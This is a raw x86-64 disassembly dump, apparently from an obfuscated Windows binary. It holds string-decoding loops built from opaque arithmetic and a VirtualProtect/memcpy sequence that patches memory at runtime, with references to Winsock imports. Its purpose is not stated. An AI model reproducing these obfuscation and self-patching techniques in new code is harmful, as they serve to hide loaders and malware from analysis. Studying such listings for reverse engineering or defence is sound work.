movabs rdx, 0x30f2253731014f6c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140139974
movabs rcx, 0xc0ac2cdf9770c5e2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2e
jmp 0x140139a93
movabs rcx, 0x50663487fde03c58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140139c04
movabs rdx, 0xe0203c30644fb2ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140139c01
movabs rdx, 0x6fda43d8cabf2944
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401394ae
movabs rcx, 0xff944b81312e9fba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x16
jmp 0x140139b40
movabs rcx, 0x8f4e5329979e1630
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x140139ba9
movabs rdx, 0x1f085ad1fe0d8ca6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140139b85
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x1401397df
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x63
jmp 0x1401395d6
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013980c
movabs rcx, 0x35bd5f2f98db4852
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3e
jmp 0x140139c30
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14013983c
movabs rdx, 0x16494fdecbfc5b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140139a93
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140139868
movabs rcx, 0x671b38e598adf804
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140139bda
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401395d6
movabs rdx, 0xd761313d323e818e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140139b40
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401398c8
movabs rcx, 0x509c0ec76548ec7b
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5d
jmp 0x140139b85
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401398f5
movabs rcx, 0x11b3f025cb8b12a3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x75
jmp 0x140139c01
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140139921
movabs rcx, 0x81f9e87d651b9c2d
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3b
jmp 0x140139c04
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14013994d
movabs rdx, 0xf23fe0d4feac25b7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 1
jmp 0x140139a90
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013997c
movabs rdx, 0x6285d92c983caf41
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x39
add dil, dl
jmp 0x140139ac5
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140139612
movabs rcx, 0xd2cbd18431cd38cb
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x73
jmp 0x140139c30
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401399da
movabs rcx, 0x6b7abe5f31b690a4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x140139c30
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140139a0a
movabs rdx, 0xbc4ca765fe682d42
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140139c04
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14013964b
movabs rcx, 0xd1e906ccb19c9e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x140139b40
movabs rdx, 0xce3671cb315bf008
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x360]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r8b
jmp 0x140139bda
movabs rdx, 0x3e7c6a22caec7992
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x360]
add dil, r8b
add dil, dl
movabs rdx, 0xf69f664e97b4be57
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x61
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x360], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0xaec2627a647d031c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x360], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140139c30
movabs rcx, 0x4c3c894dcc4053db
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 3
jmp 0x140139c01
movabs rcx, 0x6bb0989e991f40c7
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x71
mov eax, 1
jmp 0x140139bb1
movabs rcx, 0x8b24a7ef65fe2db3
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1b
jmp 0x140139b85
movabs rcx, 0xaa98b74032dd1a9f
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x59
movabs rcx, 0x1613759f6493ab43
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x2b
add cl, r8b
mov byte [rbp + r9 + 0x360], cl
mov eax, 1
add r10, rax
sub r9, rax
jmp 0x140139c44
movabs rdx, 0x59c6ce39662b7e01
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 7
add dil, dl
movabs rcx, 0x86596df6fe2434cd
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x65
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x360], cl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140139c3f
movabs rcx, 0x2868f4836658ce4f
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x29
movzx eax, byte [rbp + r9 + 0x360]
add rax, r10
add r9, rax
mov eax, 1
add r9, rax
jmp 0x140139126
movabs rcx, 0xaa2d02c1640bba59
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6f
jmp 0x140139121
movabs rcx, 0x39e70a69ca7b30cf
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x57
jmp 0x140139111
lea rcx, [rbp + 0x14e37bc]
jmp 0x140139cad
lea rcx, [rbp + 0x1567c81]
jmp 0x140139cad
lea rcx, [rbp + 0x360]
mov rax, rsi
sub rcx, rsi
mov r9d, 1
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x140139ccd
add rax, r9
test edx, edx
jne 0x140139cb9
xor r13d, r13d
test r8d, r8d
jne 0x140139d2b
mov dword [rbp + 0x11a4], r13d
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
mov rbx, qword [rbp - 0x50]
add rcx, rbx
lea r9, [rbp + 0x11a4]
lea r8d, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rsi + 0xc]
mov r8d, dword [rsi + 8]
lea rdx, [r12 + rax]
lea rcx, [rbx + rax]
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
add rcx, rbx
lea r9, [rbp + 0x11a4]
mov r8d, dword [rbp + 0x11a4]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r15w
cmp r15w, word [r14 + 6]
jb 0x1401390b6
mov r13, qword [rbp - 0x58]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [rbp + 0x30], 0xfe
mov byte [rbp + Ordinal_50], 0x31
mov byte [rbp + 0x32], Ordinal_200
mov byte [rbp + 0x33], 0x33
mov byte [rbp + 0x34], 0x34
mov byte [rbp + 0x35], 0xa9
xor eax, eax
mov qword [rbp + 0x36], rax
mov word [rbp + 0x3e], ax
movabs rsi, 0x1e3d3b18808e33ba
movabs r15, 0xe644ef5058e05440
movabs r12, 0xf45b168c546eb670
movabs r13, 0xe43402afcf6ee4e6
movabs r14, 0x79553d89c8c4782e
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x10
jae 0x14013a6cb
movzx r8d, byte [rbp + r10 + 0x30]
mov r11, r8
cmp rbx, r10
ja 0x14013a6c2
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140139e13
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x16
jmp 0x140139e4d
je 0x14013a644
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14013a5c0
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14013a588
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14013a55d
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14013a50c
cmp r9, r10
ja 0x14013a6b9
lea rax, [r9 + 0x42]
cmp rbx, rax
jae 0x140139e84
movabs rcx, 0x7b05d9028baa3e42
add rcx, r10
mov al, cl
and al, r8b
mov edi, Ordinal_27
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
jmp 0x140139eb8
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14013a4fb
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14013a4da
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14013a4b3
lea rax, [r9 + 6]
cmp rbx, rax
je 0x14013a48c
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x14013a131
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14013a10b
lea rax, [r9 + 0x42]
cmp rbx, rax
je 0x14013a0e4
lea rax, [r9 + 0x20]
cmp rbx, rax
je 0x14013a0bd
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14013a09a
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14013a073
lea rbx, [r9 + 0x400]
lea r9, [rbx + 5]
lea rax, [r9 + 0x80]
cmp rbx, rax
jb 0x14013a69f
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14013a67c
lea rax, [r9 + 0x10]
cmp rbx, rax
jb 0x140139fa5
lea rax, [r9 + 8]
cmp rbx, rax
jb 0x14013a05e
lea rbx, [r9 + 0x3e8]
lea r9, [rbx + 4]
lea rax, [r9 + 0x64]
cmp rbx, rax
ja 0x14013a043
lea rax, [r9 + 0x61]
cmp rbx, rax
ja 0x14013a020
lea rax, [r9 + 0x3e8]
cmp rbx, rax
ja 0x140139ffd
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140139fef
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x140139fcc
lea rax, [r9 + 6]
cmp rbx, rax
ja 0x140139ec5
lea rbx, [r9 + 1]
lea r9, [rbx + 0x28]
jmp 0x140139ec5
movabs rdx, 0xf24a29ebcafd4716
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140139de4
movabs rcx, 0xd82ec8145d51f210
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x14013a52e
lea rdx, [r10 + r15]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14013a59a
movabs rcx, 0x6d5002ee56a78558
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14013a5e5
movabs rcx, 0x30d58cbd558b1de4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x14013a612
lea rcx, [r10 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x14013a663
lea rcx, [r10 + r13]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4a
jmp 0x14013a185
movabs rdx, 0xe223160f45fd758c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013a663
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14013a5aa
movabs rdx, 0x774450e93f5308d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013a57b
movabs rdx, 0x3ac9dab83e36a160
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013a553
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x74
add dil, dl
jmp 0x14013a52e
lea rcx, [r9 + 2]
cmp rbx, rcx
jae 0x14013a1ed
lea rcx, [r10 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x16
add cl, r8b
lea rax, [r9 + rbx]
cmp rax, 4
je 0x14013a464
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x14013a299
movabs rcx, 0x349714d6a1e25352
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3e
add cl, r8b
cmp rbx, 0x28
jae 0x14013a411
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14013a36e
movabs rcx, 0xaf9cedd92d8c9194
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xc
add cl, r8b
cmp r9, 0x20
jb 0x14013a404
movabs rcx, 0xc658bc338a89c1c
add rcx, r10
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14013a52e
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14013a21d
movabs rdx, 0xf60bb20517547c84
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013a663
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14013a24d
movabs rdx, 0x6f009e67198d4b6c
mov ecx, 6
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013a5e5
cmp rbx, rcx
jne 0x14013a275
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x14013a5aa
mov cl, dil
lea rax, [r9 + 9]
cmp rbx, rax
jne 0x14013a151
movabs rdx, 0xd9df638d2037b824
mov ecx, 2
jmp 0x14013a51b
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14013a2c5
movabs rcx, 0x71118b07a2febac6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x14013a52e
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14013a2e2
movabs rdx, 0xea067769a53789ae
mov ecx, Ordinal_32
jmp 0x14013a0cc
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14013a30e
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x14013a5ad
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14013a33a
movabs rcx, 0xdbf0502da9a9277e
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
jmp 0x14013a5e5
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14013a188
movabs rdx, 0x186ac65eaac58ef2
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013a612
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14013a39a
movabs rcx, 0xec17640a2ea8f908
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14013a663
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14013a3c6
movabs rcx, 0x2891da3b2fc5607c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x14013a612
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14013a3e3
movabs rdx, 0x650c506c30e1c7f0
mov ecx, Ordinal_60
jmp 0x14013a235
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14013a1bb
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x14013a51b
mov byte [rbp + r10 + 0x30], cl
mov dil, cl
jmp 0x14013a66f
movabs rcx, 0x48e001f439c50390
add rcx, r10
mov al, cl
and al, r8b
mov edx, 8
sub dl, al
add dl, dl
add dl, byte [rbp + r10 + 0x30]
add dl, cl
add dl, r8b
movabs rcx, 0x671d3d0cba53374a
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 6
add r8b, dl
add r8b, cl
mov byte [rbp + r10 + 0x30], r8b
mov dil, dl
jmp 0x14013a5aa
movabs rcx, 0x855a78253ae16b04
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x30]
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14013a5e5
movabs rdx, 0xe5e49e289254aafa
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013a5ad
movabs rdx, 0xa96a27f791384386
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013a5aa
movabs rcx, 0xf3fac5648de30d2a
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x26
jmp 0x14013a553
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x14013a51b
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x30], cl
mov eax, 1
add r9, rax
jmp 0x14013a580
movabs rcx, 0xc596766f885507e6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4a
mov eax, 1
sub r10, rax
jmp 0x14013a674
movabs rdx, 0x4ca18a0d861c38fe
add rdx, r10
mov ecx, 7
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14013a66f
mov r8, r11
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r10
mov al, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x32
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x30], al
inc r9
add rax, r9
sub r10, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r10 + 0x30], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14013a663
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x42
movzx eax, byte [rbp + r10 + 0x30]
add rax, r9
add r10, rax
mov eax, 1
add r10, rax
jmp 0x140139dd4
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
jmp 0x140139dcf
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x140139dbf
lea rcx, [rbp + 0x14ac128]
jmp 0x14013a6cf
lea rcx, [rbp + 0x118f4e2]
jmp 0x14013a6cf
lea rcx, [rbp + 0x30]
mov edx, 1
call fcn.1401a2714
mov byte [rbp + 0x380], 0xfe
mov byte [rbp + 0x381], 0xb1
mov byte [rbp + 0x382], 0x87
mov byte [rbp + 0x383], 0xb3
mov byte [rbp + 0x384], 0xb4
mov byte [rbp + 0x385], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x386], rax
mov dword [rbp + 0x38e], eax
movabs rsi, 0x852f948bcec8ed5a
movabs r15, 0x5cda52a81649e85c
movabs r12, 0x527b299078b80da8
movabs r13, 0x3dbcd7613d945840
movabs r14, 0x2759038ad0d1750e
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x12
jae 0x14013b2dd
movzx r8d, byte [rbp + r9 + 0x380]
mov rdx, r8
cmp rdi, r9
ja 0x14013b2d4
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013a79e
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x76
jmp 0x14013a7cb
je 0x14013b258
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013b1d1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013b172
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013b11b
cmp r10, r9
ja 0x14013b2cb
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x14013a803
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013a851
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013b10a
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013b0e6
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013b0c3
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013b0a0
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013b07d
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013b057
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x14013adcf
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x14013adbb
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14013ada7
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013ad93
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14013ad72
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14013ad50
lea rcx, [r10 + 5]
cmp rdi, rcx
je 0x14013ad2d
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013ad0b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013ace9
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14013acc6
mov rdi, rcx
lea r10, [rcx + 0xa]
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x14013b2b1
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x14013b28f
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x14013aa49
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x14013aa26
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x14013aa03
lea rcx, [r10 + 0x5a]
cmp rdi, rcx
jb 0x14013ac64
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14013ac03
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14013abb7
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14013ab89
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14013a85e
mov rdi, rcx
lea r10, [rcx + 3]
lea rax, [r10 + 0x41]
cmp rcx, rax
ja 0x14013ab67
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x14013ab41
lea rax, [r10 + 0x61]
cmp rcx, rax
ja 0x14013ab1d
lea rax, [r10 + 0x1000]
cmp rcx, rax
ja 0x14013aaf7
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x14013aada
lea rcx, [r10 + 0x3e8]
cmp rdi, rcx
ja 0x14013aac6
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14013aaa9
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14013aa8c
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x14013aa6b
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14013a85e
mov rdi, rcx
lea r10, [rcx + 0x40]
jmp 0x14013a85e
movabs rdx, 0x50d5a7e94718dfde
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x12
add bl, dl
jmp 0x14013a851
movabs rdx, 0x46767ed1a987052a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14013a7cb
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3a
jmp 0x14013a770
movabs rdx, 0x67397bbfb3dbc310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14013b13a
lea rdx, [r9 + r15]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b162
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013b103
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_46
jmp 0x14013b181
lea rdx, [r9 + r13]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b1bc
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b1bf
movabs rdx, 0x28fe85320270a2d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14013b099
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
